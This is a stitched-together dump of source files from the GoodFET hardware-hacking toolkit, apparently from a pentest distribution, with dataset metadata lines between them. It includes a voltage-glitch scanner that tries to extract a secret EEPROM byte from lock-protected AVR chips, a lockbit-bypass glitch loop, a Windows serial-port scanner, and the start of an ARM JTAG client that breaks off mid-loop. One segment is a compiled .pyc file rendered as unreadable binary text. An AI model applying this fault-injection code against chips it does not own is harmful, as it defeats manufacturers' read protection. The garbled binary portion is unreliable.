sys.stdout.flush() #Lock chip to unlock it later. if lock>0: client.lock(); def scan(self,lock,trials,voltages,times): """Scan many voltages and times.""" client=self.client; self.scansetup(lock); gnd=0; random.shuffle(voltages); #random.shuffle(times); for vcc in voltages: if lock<0 and not self.vccexplored(vcc): print "Exploring vcc=%i" % vcc; sys.stdout.flush(); for time in times: self.scanat(lock,trials,vcc,gnd,time) sys.stdout.flush() self.db.commit(); else: print "Voltage %i already explored." % vcc; sys.stdout.flush(); def vccexplored(self,vcc): c=self.db.cursor(); c.execute("select vcc from glitches where vcc=? limit 1;",[vcc]); rows=c.fetchall(); for a in rows: return True; c.close(); return False; def scanat(self,lock,trials,vcc,gnd,time): client=self.client; client.glitchRate(time); client.glitchVoltages(gnd, vcc); #drop voltage target gcount=0; scount=0; #print "-- (%5i,%5i)" % (time,vcc); #sys.stdout.flush(); for i in range(0,trials): client.glitchstart(); #Try to read *0, which is secret if read works. a=client.eeprompeek(0x0); if lock>0: #locked if(a!=0 and a!=0xFF and a!=self.secret): gcount+=1; if(a==self.secret): print "-- %06i: %02x HELL YEAH! " % (time, a); scount+=1; else: #unlocked if(a!=self.secret): gcount+=1; if(a==self.secret): scount+=1; #print "values (%i,%i,%i,%i,%i);" % ( # time,vcc,gnd,gcount,scount); if(lock==0): self.db.execute("insert into glitches(time,vcc,gnd,trials,glitchcount,count,lock)" "values (%i,%i,%i,%i,%i,%i,%i);" % ( time,vcc,gnd,trials,gcount,scount,lock)); elif scount>0: print "INSERTING AN EXPLOIT point, t=%i and vcc=%i" % (time,vcc); self.db.execute("insert into exploits(time,vcc,gnd,trials,count)" "values (%i,%i,%i,%i,%i);" % ( time,vcc,gnd,trials,scount)); self.db.commit(); #Don't leave a lock open.
10,635
Python
.py
260
30.638462
120
0.572579
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,833
scanwin32.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/scanwin32.py
# Win32 serial port scanner from PySerial. # Modified by Andrew Q Righter for the GoodFET Project. import ctypes import re import serial def ValidHandle(value): if value == 0: raise ctypes.WinError() return value NULL = 0 HDEVINFO = ctypes.c_int BOOL = ctypes.c_int CHAR = ctypes.c_char PCTSTR = ctypes.c_char_p HWND = ctypes.c_uint DWORD = ctypes.c_ulong PDWORD = ctypes.POINTER(DWORD) ULONG = ctypes.c_ulong ULONG_PTR = ctypes.POINTER(ULONG) #~ PBYTE = ctypes.c_char_p PBYTE = ctypes.c_void_p class GUID(ctypes.Structure): _fields_ = [ ('Data1', ctypes.c_ulong), ('Data2', ctypes.c_ushort), ('Data3', ctypes.c_ushort), ('Data4', ctypes.c_ubyte*8), ] def __str__(self): return "{%08x-%04x-%04x-%s-%s}" % ( self.Data1, self.Data2, self.Data3, ''.join(["%02x" % d for d in self.Data4[:2]]), ''.join(["%02x" % d for d in self.Data4[2:]]), ) class SP_DEVINFO_DATA(ctypes.Structure): _fields_ = [ ('cbSize', DWORD), ('ClassGuid', GUID), ('DevInst', DWORD), ('Reserved', ULONG_PTR), ] def __str__(self): return "ClassGuid:%s DevInst:%s" % (self.ClassGuid, self.DevInst) PSP_DEVINFO_DATA = ctypes.POINTER(SP_DEVINFO_DATA) class SP_DEVICE_INTERFACE_DATA(ctypes.Structure): _fields_ = [ ('cbSize', DWORD), ('InterfaceClassGuid', GUID), ('Flags', DWORD), ('Reserved', ULONG_PTR), ] def __str__(self): return "InterfaceClassGuid:%s Flags:%s" % (self.InterfaceClassGuid, self.Flags) PSP_DEVICE_INTERFACE_DATA = ctypes.POINTER(SP_DEVICE_INTERFACE_DATA) PSP_DEVICE_INTERFACE_DETAIL_DATA = ctypes.c_void_p class dummy(ctypes.Structure): _fields_=[("d1", DWORD), ("d2", CHAR)] _pack_ = 1 SIZEOF_SP_DEVICE_INTERFACE_DETAIL_DATA_A = ctypes.sizeof(dummy) SetupDiDestroyDeviceInfoList = ctypes.windll.setupapi.SetupDiDestroyDeviceInfoList SetupDiDestroyDeviceInfoList.argtypes = [HDEVINFO] SetupDiDestroyDeviceInfoList.restype = BOOL SetupDiGetClassDevs = ctypes.windll.setupapi.SetupDiGetClassDevsA SetupDiGetClassDevs.argtypes = [ctypes.POINTER(GUID), PCTSTR, HWND, DWORD] SetupDiGetClassDevs.restype = ValidHandle # HDEVINFO SetupDiEnumDeviceInterfaces = ctypes.windll.setupapi.SetupDiEnumDeviceInterfaces SetupDiEnumDeviceInterfaces.argtypes = [HDEVINFO, PSP_DEVINFO_DATA, ctypes.POINTER(GUID), DWORD, PSP_DEVICE_INTERFACE_DATA] SetupDiEnumDeviceInterfaces.restype = BOOL SetupDiGetDeviceInterfaceDetail = ctypes.windll.setupapi.SetupDiGetDeviceInterfaceDetailA SetupDiGetDeviceInterfaceDetail.argtypes = [HDEVINFO, PSP_DEVICE_INTERFACE_DATA, PSP_DEVICE_INTERFACE_DETAIL_DATA, DWORD, PDWORD, PSP_DEVINFO_DATA] SetupDiGetDeviceInterfaceDetail.restype = BOOL SetupDiGetDeviceRegistryProperty = ctypes.windll.setupapi.SetupDiGetDeviceRegistryPropertyA SetupDiGetDeviceRegistryProperty.argtypes = [HDEVINFO, PSP_DEVINFO_DATA, DWORD, PDWORD, PBYTE, DWORD, PDWORD] SetupDiGetDeviceRegistryProperty.restype = BOOL GUID_CLASS_COMPORT = GUID(0x86e0d1e0L, 0x8089, 0x11d0, (ctypes.c_ubyte*8)(0x9c, 0xe4, 0x08, 0x00, 0x3e, 0x30, 0x1f, 0x73)) DIGCF_PRESENT = 2 DIGCF_DEVICEINTERFACE = 16 INVALID_HANDLE_VALUE = 0 ERROR_INSUFFICIENT_BUFFER = 122 SPDRP_HARDWAREID = 1 SPDRP_FRIENDLYNAME = 12 SPDRP_LOCATION_INFORMATION = 13 ERROR_NO_MORE_ITEMS = 259 class winScan(): def comports(available_only=True): """This generator scans the device registry for com ports and yields (order, port, desc, hwid). If available_only is true only return currently existing ports. Order is a helper to get sorted lists. it can be ignored otherwise.""" flags = DIGCF_DEVICEINTERFACE if available_only: flags |= DIGCF_PRESENT g_hdi = SetupDiGetClassDevs(ctypes.byref(GUID_CLASS_COMPORT), None, NULL, flags); #~ for i in range(256): for dwIndex in range(256): did = SP_DEVICE_INTERFACE_DATA() did.cbSize = ctypes.sizeof(did) if not SetupDiEnumDeviceInterfaces( g_hdi, None, ctypes.byref(GUID_CLASS_COMPORT), dwIndex, ctypes.byref(did) ): if ctypes.GetLastError() != ERROR_NO_MORE_ITEMS: raise ctypes.WinError() break dwNeeded = DWORD() # get the size if not SetupDiGetDeviceInterfaceDetail( g_hdi, ctypes.byref(did), None, 0, ctypes.byref(dwNeeded), None ): # Ignore ERROR_INSUFFICIENT_BUFFER if ctypes.GetLastError() != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError() # allocate buffer class SP_DEVICE_INTERFACE_DETAIL_DATA_A(ctypes.Structure): _fields_ = [ ('cbSize', DWORD), ('DevicePath', CHAR*(dwNeeded.value - ctypes.sizeof(DWORD))), ] def __str__(self): return "DevicePath:%s" % (self.DevicePath,) idd = SP_DEVICE_INTERFACE_DETAIL_DATA_A() idd.cbSize = SIZEOF_SP_DEVICE_INTERFACE_DETAIL_DATA_A devinfo = SP_DEVINFO_DATA() devinfo.cbSize = ctypes.sizeof(devinfo) if not SetupDiGetDeviceInterfaceDetail( g_hdi, ctypes.byref(did), ctypes.byref(idd), dwNeeded, None, ctypes.byref(devinfo) ): raise ctypes.WinError() # hardware ID szHardwareID = ctypes.create_string_buffer(250) if not SetupDiGetDeviceRegistryProperty( g_hdi, ctypes.byref(devinfo), SPDRP_HARDWAREID, None, ctypes.byref(szHardwareID), ctypes.sizeof(szHardwareID) - 1, None ): # Ignore ERROR_INSUFFICIENT_BUFFER if ctypes.GetLastError() != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError() # friendly name szFriendlyName = ctypes.create_string_buffer(1024) if not SetupDiGetDeviceRegistryProperty( g_hdi, ctypes.byref(devinfo), SPDRP_FRIENDLYNAME, None, ctypes.byref(szFriendlyName), ctypes.sizeof(szFriendlyName) - 1, None ): # Ignore ERROR_INSUFFICIENT_BUFFER if ctypes.GetLastError() != ERROR_INSUFFICIENT_BUFFER: #~ raise ctypes.WinError() # not getting friendly name for com0com devices, try something else szFriendlyName = ctypes.create_string_buffer(1024) if SetupDiGetDeviceRegistryProperty( g_hdi, ctypes.byref(devinfo), SPDRP_LOCATION_INFORMATION, None, ctypes.byref(szFriendlyName), ctypes.sizeof(szFriendlyName) - 1, None ): port_name = "\\\\.\\" + szFriendlyName.value order = None else: port_name = szFriendlyName.value order = None else: try: m = re.search(r"\((.*?(\d+))\)", szFriendlyName.value) #~ print szFriendlyName.value, m.groups() port_name = m.group(1) order = int(m.group(2)) except AttributeError, msg: port_name = szFriendlyName.value order = None yield order, port_name, szFriendlyName.value, szHardwareID.value SetupDiDestroyDeviceInfoList(g_hdi) ''' if __name__ == '__main__': import serial #print "-"*78 #print "Serial ports" #print "-"*78 for order, port, desc, hwid in sorted(comports()): print "%-10s: %s (%s) ->" % (port, desc, hwid), try: serial.Serial(port) # test open except serial.serialutil.SerialException: print "Can't be openend" else: print "Ready" print # # ADDED ITERATORS TO LIST FOR CONVENIENCE # aList = [] for order, port, desc, hwid in comports(): aList.append(port) aList.append(desc) aList.append(hwid) print aList try: serial.Serial(port) except serial.serialutil.SerialException: print "Can not be opened." else: print "Ready" # # List of all ports the system knows (registry) # print "-"*78 print "All serial ports (registry)" print "-"*78 for order, port, desc, hwid in sorted(comports(False)): print "%-10s: %s (%s)" % (port, desc, hwid) '''
9,053
Python
.py
231
28.969697
147
0.594561
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,834
GoodFET.pyc
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFET.pyc
—Ú h߲Kc @s®ddkZddkZddkZddkZddkZddkZddkZddkZddkZd Z ddÑZ dd dÑÉYZ dd d ÑÉYZ dS( iˇˇˇˇNtBs<Hs<LtGoodFETcCs ddk}ddk}ddk}ddk}ddk}ddk}|djp |djo |iÉS|djp |djo |iÉS|djo |iÉS|djo |iÉS|djo |iÉS|d jo |iÉSd |GHtid ÉdS( NiˇˇˇˇRtmonitortcctchipcontavrtspitmsp430tnrfsUnsupported target: %si(Rt GoodFETCCt GoodFETAVRt GoodFETSPIt GoodFETMSP430t GoodFETNRFtsystexit(tnameRR R R R R ((s/pentest/goodfet/GoodFET.pyt getClient sH       t SymbolTablecBsAeZdZeidÉZdÑZdÑZddddÑZRS(sGoodFET Symbol Tables:memory:cOs|iidÉdS(NsAcreate table if not exists symbols(adr,name,memory,size,comment);(tdbtexecute(tselftargstkargs((s/pentest/goodfet/GoodFET.pyt__init__scCsq|iiÉ|iiÉ}y:|id|fÉx |D]}tiiÉ|dSWWnt|ÉSXt|ÉS(Ns+select adr,memory from symbols where name=?i(RtcommittcursorRRtstdouttflushteval(RRtctrow((s/pentest/goodfet/GoodFET.pytgets    ttvnicCs&|iid|||||fÉdS(NsCinsert into symbols(adr,name,memory,size,comment)values(?,?,?,?,?);(RR(RtadrRtcommenttmemorytsize((s/pentest/goodfet/GoodFET.pytdefine-s ( t__name__t __module__t__doc__tsqlite3tconnectRRR R'(((s/pentest/goodfet/GoodFET.pyRs   cBs]eZdZdZdZdZdZdZeZ dZ dZ e ÉZ dÑZdÑZdÑZdÑZdCdd ÑZd d ÑZdgd ÑZd ÑZdÑZdÑZdÑZdÑZdÑZdddÑZddÑZddÑZdZdÑZ dÑZ!dÑZ"dÑZ#dÑZ$dÑZ%dÑZ&d ÑZ'd!ÑZ(d"ÑZ)d#ÑZ*d$ÑZ+d%d&d'd(d)d%gZ,d*ÑZ-d+ÑZ.d,ÑZ/d-ÑZ0d.ÑZ1d/ÑZ2d0ÑZ3d1ÑZ4d2ÑZ5d3ÑZ6d4ÑZ7d5ÑZ8d6ÑZ9d7ÑZ:d8ÑZ;d9ÑZ<d:ÑZ=dd;d<ÑZ>d=d>ÑZ?d=d?ÑZ@d=d@ÑZAd=dAÑZ&dBÑZBRS(DsGoodFET Client LibraryiR!iqcOsdg|_dS(Ni(tdata(RRR((s/pentest/goodfet/GoodFET.pyRAscCsddkl}||ÉS(Niˇˇˇˇ(tGoodFETConsole(R.(RR.((s/pentest/goodfet/GoodFET.pyt getConsoleCscCs|ii|ÉS(N(tsymbolsR (RR((s/pentest/goodfet/GoodFET.pytname2adrFscCs dGHdS(Nstimeout ((R((s/pentest/goodfet/GoodFET.pyttimeoutHsic Cs|djoktiidÉdjoRtitiidÉÉ}t|Édjo|d}qxtiidÉ}n|djo4tidÉ}t|Édjo|d}qπn|djo4tidÉ}t|Édjo|d}q˙ntidjofddkl}|É}xJt |i ÉÉD]2\}}}} | i dÉdjo |}q6q6Wnt i |d d t id |É|_d|_d} d} x| djoxù|id jp|id jo||iiÉ|iiÉ|iidÉ|iidÉ|iidÉ|iiÉ|iiÉ| d} |iÉqºWd} |iÉ} |iÉ} xLtddÉD];}|iÉp(|iod|| fGHnd} PqáqáWq¨W|io d| GHn|iÉdS(sOpen the serial porttGOODFETis/dev/tty.usbserial*s /dev/ttyUSB*tntiˇˇˇˇ(twinScantFTDIi¬tparityR2ishttp://goodfet.sf.net/iis*Comm error on %i try, resyncing out of %s.sConnected after %02i attempts.N(tNonetostenvironR tglobtlenRt scanwin32R5tsortedtcomportstindextserialtSerialt PARITY_NONEt serialporttverbR-t flushInputt flushOutputtsetRTStsetDTRtreadcmdt infostringtmonitorclockingtranget monitorechotverboset mon_connected(RtportR2t glob_listR5tscantordertcomporttdescthwidtattemptst connectedtoldstclockingtfoo((s/pentest/goodfet/GoodFET.pytserInitJsn&                   icCsCtdd|d@|d?d@gÉd|id|idfGHdS(Nii¬iˇisGot %02x%02x buffer size.i(twritecmdR-(RR&((s/pentest/goodfet/GoodFET.pyt getbufferås"cCs|iit|ÉÉ|iit|ÉÉ|iit|d@ÉÉ|iit|d?ÉÉ|iod|||fGHn|djoet|tÉo2x/td|ÉD]}t||É||<q≠Wndi|É}|ii|Én|ip |i ÉSgSdS(s-Write a command and some data to the GoodFET.iˇisTx: ( 0x%02x, 0x%02x, 0x%04x )iR!N( RDtwritetchrROt isinstancetlistRMtjointbesilentRJ(RtappREtcountR-titoutstr((s/pentest/goodfet/GoodFET.pyR^ès     cCsîxçyKt|iidÉÉ|_t|iidÉÉ|_t|iidÉÉt|iidÉÉd>|_|iod|i|i|ifGHn|idjoÑ|idjod|ii|iÉGHnH|idjo7dtit |id|ii|iÉÉdGHnt i i Én |ii|iÉ|_ |i SWqtj o0|iod GHd GHt id Én|i SXqd S( sRead a reply from the GoodFET.iisRx: ( 0x%02x, 0x%02x, 0x%04x )iˇs # DEBUG %si˛s # DEBUG 0x%xis7Error: waiting for serial read timed out (most likely).s9This shouldn't happen after syncing. Exiting for safety.iˇˇˇˇN(tordRDtreadRfRERgROtstructtunpacktfmtRRRR-t TypeErrorRYR(R((s/pentest/goodfet/GoodFET.pyRJØs,  7  cCs0|d@g|_|i|idd|iÉdS(s(Glitch into a device by its application.iˇiÄiN(R-R^t GLITCHAPP(RRf((s/pentest/goodfet/GoodFET.pyt glitchApp—scCs[|djo g}n|d@|d@g||_|i|idt|iÉ|iÉdS(sGlitch during a transaction.iˇiÅN(R8R-R^RpR<(RRfRER-((s/pentest/goodfet/GoodFET.pyt glitchVerb÷s cCs|i|iddÉdS(s Glitch into the AVR application.i N(RrtAPPR8(R((s/pentest/goodfet/GoodFET.pyt glitchstart‹scCs|i|iddÉS(s$Measure the timer of the START verb.i N(t glitchTimeRsR8(R((s/pentest/goodfet/GoodFET.pytglitchstarttimeflscCs}|djo g}n|d@|d@g||_|i|idt|iÉ|iÉt|idÉt|idÉd>S(sTime the execution of a verb.iˇiÇiiiN(R8R-R^RpR<Rj(RRfRER-((s/pentest/goodfet/GoodFET.pyRu‚s  %iÄiˇcCsM|d@|d?d@|d@|d?d@g|_|i|idd|iÉdS(s(Set glitching voltages. (0x0fff is max.)iˇiiêiN(R-R^Rp(Rtlowthigh((s/pentest/goodfet/GoodFET.pytglitchVoltagesËsicCs;|d@|d?d@g|_|i|idd|iÉdS(sSet glitching count period.iˇiiëiN(R-R^Rp(RRg((s/pentest/goodfet/GoodFET.pyt glitchRateÓscCs2||_d|iGH|iddd|gÉdS(sTransmissions halted when 1.sbesilent is %iii∞iN(ReR^(Rts((s/pentest/goodfet/GoodFET.pytsilent˜s  cCs#d|_|idddgÉdS(s4Announce to the monitor that the connection is good.iii±N(RYR^(R((s/pentest/goodfet/GoodFET.pyRP˝s cCs|iddd|gÉdS(sWrite a byte to P5OUT.ii°iN(R^(Rtbyte((s/pentest/goodfet/GoodFET.pytoutscCs|iddd|gÉdS(sWrite a byte to P5DIR.ii†iN(R^(RR}((s/pentest/goodfet/GoodFET.pytdirscCs,|iddd|d@|d?d@gÉdS(sCall to an address.ii0iiˇiN(R^(RR#((s/pentest/goodfet/GoodFET.pytcallscCs|iddd|ÉdS(sExecute supplied code.ii1iN(R^(Rtcode((s/pentest/goodfet/GoodFET.pyR scCsA|d@|d?g|_|iddd|iÉt|idÉS(s'Read a byte of memory from the monitor.iˇiii(R-R^Rj(Rtaddress((s/pentest/goodfet/GoodFET.pytpeekbytescCs"|i|É|i|dÉd>S(s'Read a word of memory from the monitor.ii(RÉ(RRÇ((s/pentest/goodfet/GoodFET.pytpeekwordscCs"|i|É|i|dÉd>S(s'Read a word of memory from the monitor.ii(RÉ(RRÇ((s/pentest/goodfet/GoodFET.pytpeekscCsD|d@|d?|g|_|iddd|iÉt|idÉS(s$Set a byte of memory by the monitor.iˇiii(R-R^Rj(RRÇtvalue((s/pentest/goodfet/GoodFET.pytpokebytescCsA|}x4||jo&d||i|ÉfGH|d7}q WdS(Ns %04x %04xi(RÑ(RtbegintendRh((s/pentest/goodfet/GoodFET.pytdumpmem s  cCs|iddd|iÉdS(s!Overwrite all of RAM with 0xBEEF.iiêN(R^R-(R((s/pentest/goodfet/GoodFET.pytmonitor_ram_pattern%scCs?|iddd|iÉt|idÉt|idÉd>S(sBDetermine how many bytes of RAM are unused by looking for 0xBEEF..iiëii(R^R-Rj(R((s/pentest/goodfet/GoodFET.pytmonitor_ram_depth)si¬iÄ%iKiñi·cCs√|i}|g|_dGH|iitdÉÉ|iitdÉÉ|iitdÉÉ|iit|ÉÉdGH|ii||ÉtidÉ|iiÉ|ii Éd||GHdS(s%Change the baud rate. TODO fix this.sChanging FET baud.iiÄisChanged host baud.sBaud is now %i.N( t baudratesR-RDR`Rat setBaudratettimetsleepRFRG(Rtbaudtrates((s/pentest/goodfet/GoodFET.pytsetBaud5s      cCst|iidÉÉS(Ni(RjRDRk(R((s/pentest/goodfet/GoodFET.pytreadbyteGscCsúxï|iD]ä}d|GH|ii|É|iiÉ|iiÉx!tddÉD]}|iÉqSWd|iÉ|iÉ|iÉ|iÉfGHq WdS(Ns Trying %iii sRead %02x %02x %02x %02x(RçRDRéRFRGRMRî(RtrRh((s/pentest/goodfet/GoodFET.pytfindbaudIs    cCs‹dGH|iÉx∑tddÉD]¶}|idÉ}|idÉ}|djo |djod||fGHn|id dÉ|id Édjo d GHn|id d É|iÉp d GHqqWd GH|iÉdS(s0Self-test several functions through the monitor.sPerforming monitor self-test.ii∏ i i i i sERROR Fetched %04x, %04xi!sERROR, P1OUT not cleared.isEcho test failed.sSelf-test complete.N(RLRMRÑRáRÉRN(Rtftatb((s/pentest/goodfet/GoodFET.pyt monitortestVs     cCsQd}|i|idt|É|É|i|jo|io dGHndSdS(Ns-The quick brown fox jumped over the lazy dog.iÅs'Comm error recognized by monitorecho().ii(R^t MONITORAPPR<R-RO(RR-((s/pentest/goodfet/GoodFET.pyRNgs cCs,|idÉ}|idÉ}d||fS(NiViWs0x%02x, 0x%02x(RÉ(RtDCOCTLtBCSCTL1((s/pentest/goodfet/GoodFET.pyRLnscCs,|idÉ}|idÉ}d||fS(NiiÒs%02x%02x(RÉ(RRòRô((s/pentest/goodfet/GoodFET.pyRKvscCs dGHdS(NsLocking Unsupported.((R((s/pentest/goodfet/GoodFET.pytlockzscCs dGHdS(NsErasure Unsupported.((R((s/pentest/goodfet/GoodFET.pyterase|scCsdS(N((R((s/pentest/goodfet/GoodFET.pytsetup~scCsdS(N((R((s/pentest/goodfet/GoodFET.pytstartÄscCs dGHdS(NsUnimplemented.((R((s/pentest/goodfet/GoodFET.pyttestÇscCs dGHdS(NsUnimplemented.((R((s/pentest/goodfet/GoodFET.pytstatusÖscCs dGHdS(NsUnimplemented.((R((s/pentest/goodfet/GoodFET.pythaltàscCs dGHdS(NsUnimplemented.((R((s/pentest/goodfet/GoodFET.pytresumeãscCs dGHdS(NsUnimplemented.i≠fi((R((s/pentest/goodfet/GoodFET.pytgetpcéscCs dGHdS(s'Flash an intel hex file to code memory.sFlash not implemented.N((Rtfile((s/pentest/goodfet/GoodFET.pytflashësiˇˇcCs dGHdS(s(Dump an intel hex file from code memory.sDump not implemented.N((RRßR°tstop((s/pentest/goodfet/GoodFET.pytdumpîsR"cCs(|i||É|i|d|Éd>S(Nii(tpeek16(RRÇR%((s/pentest/goodfet/GoodFET.pytpeek32óscCs(|i||É|i|d|Éd>S(Nii(tpeek8(RRÇR%((s/pentest/goodfet/GoodFET.pyR´öscCs |i|ÉS(N(RÉ(RRÇR%((s/pentest/goodfet/GoodFET.pyR≠ùscCs |i|ÉS(N(RÖ(RRÇR%((s/pentest/goodfet/GoodFET.pyRÑüscCsdS(N((R((s/pentest/goodfet/GoodFET.pyt loadsymbols¢sN(CR(R)R*ReRfRERgR-tFalseRORpRõRR0RR/R1R2R8R]R_R^RJRqRrRtRvRuRyRzR|RYRPR~RRÄRRÉRÑRÖRáRäRãRåRçRìRîRñRöRNRLRKRûRüR†R°R¢R£R§R•R¶R®R™R¨R´R≠RÆ(((s/pentest/goodfet/GoodFET.pyR3sà     B  "                                       (Rs<HNs<L(((RRètstringt cStringIORlR;RAR9R+R8RnRRR(((s/pentest/goodfet/GoodFET.pyt<module>s `  
17,196
Python
.py
60
285.6
3,451
0.386124
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,835
GoodFETAVR.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETAVR.py
#!/usr/bin/env python # GoodFET SPI and SPIFlash Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os; from GoodFET import GoodFET; class GoodFETAVR(GoodFET): AVRAPP=0x32; APP=AVRAPP; AVRVendors={0x1E: "Atmel", 0x00: "Locked", }; #List imported from http://avr.fenceline.de/device_data.html AVRDevices={ 0x9003: "ATtiny10", 0x9004: "ATtiny11", 0x9005: "ATtiny12", 0x9007: "ATtiny13", 0x9006: "ATtiny15", 0x9106: "ATtiny22", 0x910A: "ATtiny2313", 0x9108: "ATtiny25", 0x9109: "ATtiny26", 0x9107: "ATtiny28", 0x9206: "ATtiny45", 0x930B: "ATtiny85", 0x9304: "AT90C8534", 0x9001: "AT90S1200", 0x9101: "AT90S2313", 0x9102: "AT90S2323", 0x9105: "AT90S2333", 0x9103: "AT90S2343", 0x9201: "AT90S4414", 0x9203: "AT90S4433", 0x9202: "AT90S4434", 0x9301: "AT90S8515", 0x9303: "AT90S8535", 0x9381: "AT90PWM2", 0x9381: "AT90PWM3", 0x9781: "AT90CAN128", 0x9205: "ATmega48", 0x9306: "ATmega8515", 0x9308: "ATmega8535", 0x9307: "ATmega8", 0x930A: "ATmega88", 0x9403: "ATmega16", 0x9401: "ATmega161", 0x9404: "ATmega162", 0x9402: "ATmega163", 0x9407: "ATmega165", 0x9406: "ATmega168", 0x9405: "ATmega169", 0x9502: "ATmega32", 0x9501: "ATmega323", 0x9503: "ATmega325", 0x9504: "ATmega3250", 0x9503: "ATmega329", 0x9504: "ATmega3290", 0x9507: "ATmega406", 0x9602: "ATmega64", 0x9607: "ATmega640", 0x9603: "ATmega645", 0x9604: "ATmega6450", 0x9603: "ATmega649", 0x9604: "ATmega6490", 0x0101: "ATmega103", 0x9701: "ATmega103", 0x9702: "ATmega128", 0x9703: "ATmega1280", 0x9704: "ATmega1281", 0x9801: "ATmega2560", 0x9802: "ATmega2561", 0x9002: "ATtiny19", 0x9302: "ATmega85", 0x9305: "ATmega83", 0x9601: "ATmega603", }; def setup(self): """Move the FET into the AVR application.""" self.writecmd(self.AVRAPP,0x10,0,self.data); #SPI/SETUP def trans(self,data): """Exchange data by AVR. Input should probably be 4 bytes.""" self.data=data; self.writecmd(self.AVRAPP,0x00,len(data),data); return self.data; def start(self): """Start the connection.""" self.writecmd(self.AVRAPP,0x20,0,None); def forcestart(self): """Forcibly start a connection.""" for i in range(0x880,0xfff): #self.glitchVoltages(0x880, i); self.start(); bits=self.lockbits(); print "At %04x, Lockbits: %02x" % (i,bits); if(bits==0xFF): return; def erase(self): """Erase the target chip.""" self.writecmd(self.AVRAPP,0xF0,0,None); def lockbits(self): """Read the target's lockbits.""" self.writecmd(self.AVRAPP,0x82,0,None); return ord(self.data[0]); def setlockbits(self,bits=0x00): """Read the target's lockbits.""" self.writecmd(self.AVRAPP,0x92,1,[bits]); return self.lockbits(); def lock(self): self.setlockbits(0xFC); def eeprompeek(self, adr): """Read a byte of the target's EEPROM.""" self.writecmd(self.AVRAPP,0x81 ,2, [ (adr&0xFF), (adr>>8)] );#little-endian address return ord(self.data[0]); def flashpeek(self, adr): """Read a byte of the target's Flash memory.""" self.writecmd(self.AVRAPP,0x02 ,2, [ (adr&0xFF), (adr>>8)] );#little-endian address return ord(self.data[0]); def flashpeekblock(self, adr): """Read a byte of the target's Flash memory.""" self.writecmd(self.AVRAPP,0x02 ,4, [ (adr&0xFF), (adr>>8) &0xFF, 0x80, 0x00] ); return self.data; def eeprompoke(self, adr, val): """Write a byte of the target's EEPROM.""" self.writecmd(self.AVRAPP,0x91 ,3, [ (adr&0xFF), (adr>>8), val] );#little-endian address return ord(self.data[0]); def identstr(self): """Return an identifying string.""" self.writecmd(self.AVRAPP,0x83,0, None); vendor=self.AVRVendors.get(ord(self.data[0])); deviceid=(ord(self.data[1])<<8)+ord(self.data[2]); device=self.AVRDevices.get(deviceid); #Return hex if device is unknown. #They are similar enough that it needn't be known. if device==None: device=("0x%04x" % deviceid); return "%s %s" % (vendor,device);
5,094
Python
.py
147
25.210884
67
0.56103
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,836
GoodFETARM.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETARM.py
#!/usr/bin/env python # GoodFET Client Library # # # Good luck with alpha / beta code. # Contributions and bug reports welcome. # import sys, binascii, struct import atlasutils.smartprint as asp #Global Commands READ = 0x00 WRITE = 0x01 PEEK = 0x02 POKE = 0x03 SETUP = 0x10 START = 0x20 STOP = 0x21 CALL = 0x30 EXEC = 0x31 NOK = 0x7E OK = 0x7F # ARM7TDMI JTAG commands GET_DEBUG_CTRL = 0x80 SET_DEBUG_CTRL = 0x81 GET_PC = 0x82 SET_PC = 0x83 GET_CHIP_ID = 0x84 GET_DEBUG_STATE = 0x85 GET_WATCHPOINT = 0x86 SET_WATCHPOINT = 0x87 GET_REGISTER = 0x88 SET_REGISTER = 0x89 GET_REGISTERS = 0x8a SET_REGISTERS = 0x8b HALTCPU = 0x8c RESUMECPU = 0x8d DEBUG_INSTR = 0x8e # STEP_INSTR = 0x8f # STEP_REPLACE = 0x90 # READ_CODE_MEMORY = 0x91 # ?? WRITE_FLASH_PAGE = 0x92 # ?? READ_FLASH_PAGE = 0x93 # ?? MASS_ERASE_FLASH = 0x94 # ?? PROGRAM_FLASH = 0x95 LOCKCHIP = 0x96 # ?? CHIP_ERASE = 0x97 # can do? # Really ARM specific stuff GET_CPSR = 0x98 SET_CPSR = 0x99 GET_SPSR = 0x9a SET_SPSR = 0x9b SET_MODE_THUMB = 0x9c SET_MODE_ARM = 0x9d from GoodFET import GoodFET from intelhex import IntelHex class GoodFETARM(GoodFET): """A GoodFET variant for use with ARM7TDMI microprocessor.""" def ARMhaltcpu(self): """Halt the CPU.""" self.writecmd(0x33,HALTCPU,0,self.data) def ARMreleasecpu(self): """Resume the CPU.""" self.writecmd(0x33,RESUMECPU,0,self.data) def ARMsetModeArm(self): self.writecmd(0x33,SET_MODE_ARM,0,self.data) def ARMtest(self): self.ARMreleasecpu() self.ARMhaltcpu() print "Status: %s" % self.ARMstatusstr() #Grab ident three times, should be equal. ident1=self.ARMident() ident2=self.ARMident() ident3=self.ARMident() if(ident1!=ident2 or ident2!=ident3): print "Error, repeated ident attempts unequal." print "%04x, %04x, %04x" % (ident1, ident2, ident3) #Set and Check Registers regs = [1024+x for x in range(1,15)] regr = [] for x in range(len(regs)): self.ARMset_register(x, regs[x]) for x in range(len(regs)): regr.append(self.ARMget_register(x)) for x in range(len(regs)): if regs[x] != regr[x]: print "Error, R%d fail: %x != %x"%(x,regs[x],regr[x]) return #Single step, printing PC. print "Tracing execution at startup." for i in range(15): pc=self.ARMgetPC() byte=self.ARMpeekcodebyte(i) #print "PC=%04x, %02x" % (pc, byte) self.ARMstep_instr() print "Verifying that debugging a NOP doesn't affect the PC." for i in range(1,15): pc=self.ARMgetPC() self.ARMdebuginstr([NOP]) if(pc!=self.ARMgetPC()): print "ERROR: PC changed during ARMdebuginstr([NOP])!" print "Checking pokes to XRAM." for i in range(0xf000,0xf020): 